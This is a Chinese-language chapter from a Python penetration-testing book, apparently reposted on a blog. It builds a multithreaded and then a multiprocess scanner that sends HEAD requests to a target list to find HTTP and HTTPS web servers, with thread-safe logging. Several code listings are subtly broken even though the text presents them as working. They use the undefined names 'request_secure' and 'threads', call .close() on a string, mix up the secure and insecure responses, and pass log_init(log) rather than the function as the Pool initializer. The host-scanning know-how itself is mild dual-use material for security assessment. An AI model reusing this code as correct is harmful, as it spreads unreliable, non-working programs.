此外,以下突出显示的日志文件包含了脚本的详细执行和并发线程的输出:

在 Python 中创建多线程脚本

注意

此脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/multi_threaded.py找到。

现在,目标已在视野中,我们开始导入需要的库,并配置两个全局变量。第一个变量保存我们的排队工作量,第二个用于暂时锁定线程,以便可以在屏幕上打印数据:

注意

请记住以下内容:并发处理意味着项目正在处理。详细信息将按执行的顺序提供,并且在控制台上显示可能会混乱。为了解决这个问题,我们使用锁来暂停执行,以足够时间返回必要的详细信息。记录器是一个线程安全的库,但打印不是,其他库可能也不是。因此,在适当的地方使用锁。

import urllib2, argparse, sys, threading, logging, Queue, time
queue = Queue.Queue()
lock = threading.Lock()

之后,我们需要创建将生成线程的类,唯一的新构造概念是threading.Thread.__init__(self)

class Agent(threading.Thread):
    def __init__(self, queue, logger, verbose):
        threading.Thread.__init__(self)
        self.queue = queue
        self.logger = logger
        self.verbose = verbose

然后,我们需要创建一个函数,将在每个线程中处理实际数据。该函数首先通过定义初始值开始,如您所见,这些值是从队列中提取的。它们代表从文件加载到队列中的Internet ProtocolIP)地址:

    def run(self):
        while True:
            host = self.queue.get()
            print("[*] Testing %s") % (str(host))
            target = "http://" + host
            target_secure = "https://" + host

从这里开始,我们将处理主机潜在网站的不安全和安全版本。下面的代码是用于网站不安全部分的,它执行的工作类似于第六章中突出显示的脚本,使用 Python 评估 Web 应用程序。唯一的区别是我们添加了新的记录器函数,将详细信息打印到结果日志文件中。如下代码所示,将详细信息写入记录器几乎与编写打印语句相同。您还会注意到,我们使用with语句锁定线程进程,以便可以打印详细信息。这对 I/O来说并不是必需的,但否则将很难阅读:

            try:
                request = urllib2.Request(target)
                request.get_method = lambda : 'HEAD'
                response = urllib2.urlopen(request)
            except:
                with lock:
                    self.logger.debug("[-] No web server at %s 
                        reported by thread %s" % (str(target), str
                            (threading.current_thread().name)))
                    print("[-] No web server at %s reported by thread %s") % 
                        (str(target), str(threading.current_thread().name))
                response = None
            if response != None:
                with lock:
                    self.logger.debug("[+] Response from %s reported by 
                        thread %s" % (str(target), str(threading.current_thread().
                          name)))
                    print("[*] Response from insecure service on %s reported by 
                        thread %s") % (str(target), str(threading.current_thread().name))
                self.logger.debug(response.info())

请求-响应指令的安全部分几乎与代码的非安全部分相同,如下所示:

            try:
                target_secure = urllib2.urlopen(target_secure)
                request_secure.get_method = lambda : 'HEAD'
                response_secure = urllib2.urlopen(request_secure)
            except:
                with lock:
                    self.logger.debug("[-] No secure web server at %s reported by 
                        thread %s" % (str(target_secure), str(threading.current_thread().name)))
                    print("[-] No secure web server at %s reported by 
                        thread %s") % (str(target_secure), str(threading.current_thread().name))
                response_secure = None
            if response_secure != None:
                with lock:
                    self.logger.debug("[+] Secure web server at %s reported by 
                        thread %s" % (str(target_secure), str(threading.current_thread().name)))
                    print("[*] Response from secure service on %s reported by thread %s") 
                        % (str(target_secure), str(threading.current_thread().name))
                self.logger.debug(response_secure.info())

最后,此函数列出了提供的任务已完成:

            self.queue.task_done()

如前所述,参数和选项的配置与其他脚本非常相似。因此,为了简洁起见,这些已被省略,但可以在上述链接中找到。但是,已更改的是记录器的配置。我们设置了一个可以通过参数传递日志文件名的变量。然后配置记录器,使其处于适当的级别以输出到文件,并且格式将线程的输出包括时间、线程名称、日志级别和实际消息。最后,我们配置将用作所有记录操作的引用的对象:

    log = args.log                                                                                    # Configure the log output file
    if ".log" not in log:
        log = log + ".log"
    level = logging.DEBUG                                                                             # Logging level
    format = logging.Formatter("%(asctime)s [%(threadName)-12.12s] 
      [%(levelname)-5.5s]  %(message)s") 
    logger_obj = logging.getLogger()                                                                  # Getter for logging agent
    file_handler = logging.FileHandler(args.log)                                                                                                         
    targets_list = []
    # Configure logger formats for STDERR and output file
    file_handler.setFormatter(format)
    # Configure logger object
    logger_obj.addHandler(file_handler)
    logger_obj.setLevel(level)

日志记录器设置好后,我们实际上可以设置使脚本多线程运行所需的最终代码行。我们从文件中将所有目标加载到列表中,然后将列表解析到队列中。我们本可以做得更紧凑一些,但以下格式更易于阅读。然后我们生成工作线程,并将setDaemon设置为True,以便在主线程完成后终止脚本,从而防止脚本挂起:

    # Load the targets into a list and remove trailing "\n"
    with open(targets) as f:
        targets_list = [line.rstrip() for line in f.readlines()]
    # Spawn workers to access site
    for thread in range(0, threads):
        worker = Agent(queue, logger_obj, verbose)
        worker.setDaemon(True)
        worker.start()
    # Build queue of work
    for target in targets_list:
        queue.put(target)
    # Wait for the queue to finish processing
    queue.join()
if __name__ == '__main__':
    main()

前面的细节创建了一个功能性的多线程 Python 脚本,但存在问题。Python 多线程非常容易出错。即使是编写良好的脚本,每次迭代都可能返回不同的错误。此外,为了完成相对微小的任务,需要大量的代码,如前面的代码所示。最后,根据脚本执行的情况和操作系统,线程可能不会提高处理性能。另一个解决方案是使用多进程而不是多线程,这更容易编码,更少出错,并且(再次)可以使用多个核心或处理器。

注意

Python 有许多库可以支持并发,使编码更加简单。例如,可以使用 simple-requests(pythonhosted.org/simple-requests/)处理 URL,该库已在www.gevent.org/上构建。前面的代码示例是为了展示如何修改并发脚本以包含多线程支持。在成熟脚本时,您应该查看其他库是否可以直接提供更好的功能,以改进您的个人知识并创建保持相关性的脚本。

在 Python 中创建多进程脚本

在创建 Python 中的多进程脚本之前,您应该了解大多数人遇到的问题。这将有助于您在未来尝试成熟您的工具集时。在 Python 中,您将遇到四个主要问题:

  • 对象的序列化

  • 并行写入或读取数据以及处理锁

  • 操作系统细微差别与相关并行性应用程序接口API

  • 将当前脚本(线程化或非线程化脚本)翻译成利用并行性的脚本

在 Python 中编写多进程脚本时,最大的障碍是处理对象的序列化(称为 pickling)和反序列化(称为 unpickling)。当您编写与多进程相关的自己的代码时,可能会看到对 pickle 库的引用错误。这意味着您遇到了与数据序列化方式相关的问题。

注意

Python 中的一些对象无法被序列化,因此您必须找到解决方法。您将看到的最常见的方法是使用copy_reg库。该库提供了一种定义函数的方式,以便它们可以被序列化。

正如您可以想象的那样,就像并发代码一样,向单个文件或其他输入/输出I/O)资源写入和读取数据会导致问题。这是因为每个核心或处理器同时处理数据,而大多数情况下,其他进程并不知道。因此,如果您正在编写需要输出详细信息的代码,可以锁定进程,以便适当处理详细信息。这种能力通过使用multiprocessing.Lock()函数来处理。

除了 I/O 之外,还存在一个共享内存在进程之间使用的额外问题。由于这些进程相对独立运行(取决于实现),在内存中引用的可塑数据可能会有问题。幸运的是,multiprocessing库提供了许多工具来帮助我们。基本解决方案是使用multiprocessing.Values()multiprocessing.Arrays(),它们可以在进程之间共享。

注意

有关共享内存和多进程的其他细节可以在docs.python.org/2/library/multiprocessing.html#module-multiprocessing.sharedctypes找到。

在处理进程和内存管理时,所有操作系统并不相同。了解这些不同操作系统在这些层面上的工作方式对于系统工程师和开发人员来说是必要的。正如之前所强调的,作为评估者,在开发更高级的工具和创建利用时,我们也有同样的需求。

想想你有多少次看到一个新的工具或脚本出现,它只在一个操作系统或发行版上进行了测试;当你使用它时,产品在其他地方无法工作。多进程脚本也不例外,当你编写这些脚本时,要牢记最终目标。如果你没有打算让你的脚本在 Kali 之外的任何地方运行,那么请确保你在那里进行测试。如果你打算在 Windows 上运行它,你需要验证相同的脚本设计方法在那里也能工作。具体来说,多进程代码的入口点需要在main()函数内,或者说,在检查__name__是否等于'__main__'之下。如果不是,你可能会创建一个分叉炸弹,或者一个无限循环的生成进程,最终导致系统崩溃。

注意

要更好地了解 Windows 对进程分叉和 Python 多进程的限制,可以参考docs.python.org/2/library/multiprocessing.html#windows

最后要考虑的是将已建立的脚本转换为多进程脚本。尽管互联网上有大量的演示,展示了用户将一个线程化或非线程化的脚本转换为多进程脚本,但它们通常只适用于演示。将功能代码转换为稳定且有用的多进程脚本通常需要重写。这是因为前面提到的要点,突出了你将不得不克服的挑战。

那么你从这一切中学到了什么?

  • 将在并行执行的函数必须是可挑选的

  • 在处理 I/O 时可能需要加入锁,共享内存需要使用多进程库的特定函数

  • 并行进程的主入口点需要受到保护

  • 脚本不容易从线程化或非线程化格式转换为多进程格式,因此,一些思考应该放在重新设计它们上

注意

为了简洁起见,参数和选项的详细信息已被删除,但完整的细节可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/multi_process.py找到。

考虑到所有这些,我们现在可以重写head_request.py脚本,以适应多进程。run()函数的代码在很大程度上被重写,以适应对象,以便它们可以被 pickled。这是因为host_request函数是由每个子进程运行的。urllib2请求和响应是不可 pickable 的对象,因此在传递之前需要将数据转换为字符串。此外,使用多进程脚本时,必须处理记录器,而不是直接调用。通过这种方式,子进程知道要写入什么,使用通用文件名引用。

这种格式可以防止多个进程同时写入文件。首先,我们创建一个时间戳,这将在抓取日志处理程序时用作参考。以下代码突出了初始值和不安全服务请求和响应指令的配置:

import multiprocessing, urllib2, argparse, sys, logging, datetime, time
def host_request(host):
    print("[*] Testing %s") % (str(host))
    target = "http://" + host
    target_secure = "https://" + host
    timenow = time.time()
    record = datetime.datetime.fromtimestamp(timenow).strftime
      ('%Y-%m-%d %H:%M:%S')
    logger = logging.getLogger(record)
    try:
        request = urllib2.Request(target)
        request.get_method = lambda : 'HEAD'
        response = urllib2.urlopen(request)
        response_data = str(response.info())
        logger.debug("[*] %s" % response_data)
        response.close()
    except:
        response = None
        response_data = None

在不安全的请求和响应指令之后是安全服务请求和响应指令,如下所示:

    try:
        request_secure = urllib2.urlopen(target_secure)
        request_secure.get_method = lambda : 'HEAD'
        response_secure = str(urllib2.urlopen(request_secure).read())
        response_secure_data = str(response.info())
        logger.debug("[*] %s" % response_secure_data)
        response_secure.close()
    except:
        response_secure = None
        response_secure_data = None

在捕获请求和响应细节之后,将适当地返回和记录这些细节:

    if response_data != None and response_secure_data != None:
        r = "[+] Insecure webserver detected at %s reported by %s" % 
          (target, str(multiprocessing.Process().name))
        rs = "[+] Secure webserver detected at %s reported by %s" % 
          (target_secure, str(multiprocessing.Process().name))
        logger.debug("[+] Insecure web server detected at %s and reported 
          by process %s" % (str(target), str(multiprocessing.Process().name)))
        logger.debug("[+] Secure web server detected at %s and reported by process 
          %s" % (str(target_secure), str(multiprocessing.Process().name)))
        return(r, rs)
    elif response_data == None and response_secure_data == None:
        r = "[-] No insecure webserver at %s reported by %s" % (target, 
          str(multiprocessing.Process().name))
        rs = "[-] No secure webserver at %s reported by %s" % (target_secure, 
          str(multiprocessing.Process().name))
        logger.debug("[-] Insecure web server was not detected at %s and reported 
          by process %s" % (str(target), str(multiprocessing.Process().name)))
        logger.debug("[-] Secure web server was not detected at %s and reported 
          by process %s" % (str(target_secure), str(multiprocessing.Process().name)))
        return(r, rs)
    elif response_data != None and response_secure_data == None:
        r = "[+] Insecure webserver detected at %s reported by %s" % 
          (target, str(multiprocessing.Process().name))
        rs = "[-] No secure webserver at %s reported by %s" % (target_secure, 
          str(multiprocessing.Process().name))
        logger.debug("[+] Insecure web server detected at %s and reported by 
          process %s" % (str(target), str(multiprocessing.Process().name)))
        logger.debug("[-] Secure web server was not detected at %s and reported 
          by process %s" % (str(target_secure), str(multiprocessing.Process().name)))
        return(r, rs)
    elif response_secure_data != None and response_data == None:
        response = "[-] No insecure webserver at %s reported by %s" % 
          (target, str(multiprocessing.Process().name))
        rs = "[+] Secure webserver detected at %s reported by %s" % (target_secure, 
          str(multiprocessing.Process().name))
        logger.debug("[-] Insecure web server was not detected at %s and reported by 
          process %s" % (str(target), str(multiprocessing.Process().name)))
        logger.debug("[+] Secure web server detected at %s and reported by process %s" 
          % (str(target_secure), str(multiprocessing.Process().name)))
        return(r, rs)
    else:
        logger.debug("[-] No results were recorded for %s or %s" % (str(target), str(target_secure)))

如前所述,记录器使用处理程序,我们通过创建一个定义记录器设计的函数来实现这一点。然后,该函数将通过multiprocessing.map中的initializer参数由每个子进程调用。这意味着我们可以在各个进程之间完全控制记录器,并且这可以防止需要传递的不可拾取对象的问题:

def log_init(log):
    level = logging.DEBUG                                                                            
    format = logging.Formatter("%(asctime)s [%(threadName)-12.12s] [%(levelname)-5.5s]  %(message)s") # Log format
    logger_obj = logging.getLogger()                                                                 
    file_handler = logging.FileHandler(log)                                                                                                           
    targets_list = []
    # Configure logger formats for STDERR and output file
    file_handler.setFormatter(format)
    # Configure logger object
    logger_obj.addHandler(file_handler)
    logger_obj.setLevel(level)

现在,在main()函数中,我们定义了命令行界面CLI)以获取参数和选项。然后,我们从目标文件和参数变量生成将被测试的数据:

    # Set Constructors
    targets = args.targets                                                                            
    verbose = args.verbose                                                                            
    processes = args.multiprocess                                                                            
    log = args.log                                                                                    
    if ".log" not in log:
        log = log + ".log"
    # Load the targets into a list and remove trailing "\n"
    with open(targets) as f:
        targets_list = [line.rstrip() for line in f.readlines()]

最后,以下代码使用map函数,该函数在遍历目标列表时调用host_request函数。map函数允许多进程脚本以类似于先前多线程脚本的方式排队工作。然后,我们可以使用由 CLI 参数加载的 processes 变量来定义要生成的子进程数量,这允许我们动态控制分叉的进程数量。这是一种非常猜测和检查的进程控制方法。

提示

如果您想要更具体一些,另一种方法是确定 CPU 的数量,然后将其加倍以确定进程的数量。可以按照以下方式完成:processes = multiprocessing.cpu_count() *2

    # Establish pool list
    pool = multiprocessing.Pool(processes=threads, 
      initializer=log_init(log))
    # Queue up the targets to assess
    results = pool.map(host_request, targets_list)
    for result in results:
        for value in result:
            print(value)
if __name__ == '__main__':
    main()

有了生成的代码,我们可以输出帮助文件,以决定脚本需要如何运行,如下截图所示:

在 Python 中创建多进程脚本

运行脚本时,输出将详细列出请求的成功、失败和相关进程,如下截图所示:

在 Python 中创建多进程脚本

最后,results.log文件包含了脚本产生的活动相关细节,如下截图所示:

在 Python 中创建多进程脚本

我们现在已经完成了我们的多进程脚本,可以以受控方式处理记录。这是朝着创建行业标准工具的正确方向迈出的一步。如果有更多时间,我们可以将此脚本附加到上一章中创建的nmap_parser.py脚本,并使用nmap_doc_generator.py脚本生成详细报告。这些功能的结合将使工具更加有用。

构建行业标准工具

Python 是一种很棒的语言,这些高级技术突出了控制线程、进程、I/O 和日志记录,对于为您的脚本添加永久性至关重要。行业中有许多示例可以帮助评估安全性,比如 Sulley。这是一种自动化应用程序模糊测试的工具,旨在帮助识别安全漏洞,其结果后来可以用于编写类似 Metasploit 的框架。其他工具通过改进代码库来加固安全性,比如开放式 Web 应用安全项目OWASP)的 Python 安全项目。这些都是开始时为了满足某种需求而获得强大追随者的工具示例。这些工具在这里提到是为了突出你的工具在正确关注下可能会变成什么样。

提示

在开发自己的工具时,要牢记自己的目标,从小处着手,增加功能。这将有助于使项目易于管理和成功,并与小成功相关的小奖励将推动您进行更大的创新。最后,不要害怕重新开始。许多时候,一旦意识到自己做某事的方式可能不合适,代码就会引导您朝正确的方向发展。

总结

从第二章,“Python 脚本的基础”到第十章,“为 Python 工具添加永久性”,我们强调了改进渗透测试脚本的渐进方式。这种知识的有机增长展示了如何改进代码以满足当今环境的评估需求。它还突出了脚本适用于评估人员需求的特定场所,以及当前已经存在可以执行预期任务的已建立的工具或项目。在本章中,我们见证了之前示例的总结,开发了能够运行并发代码和并行进程,同时有效记录数据的工具。希望您喜欢阅读这篇文章,就像我写作时一样享受。

posted @ 2024-05-04 14:56  绝不原创的飞龙  阅读(65)  评论(0编辑  收藏  举报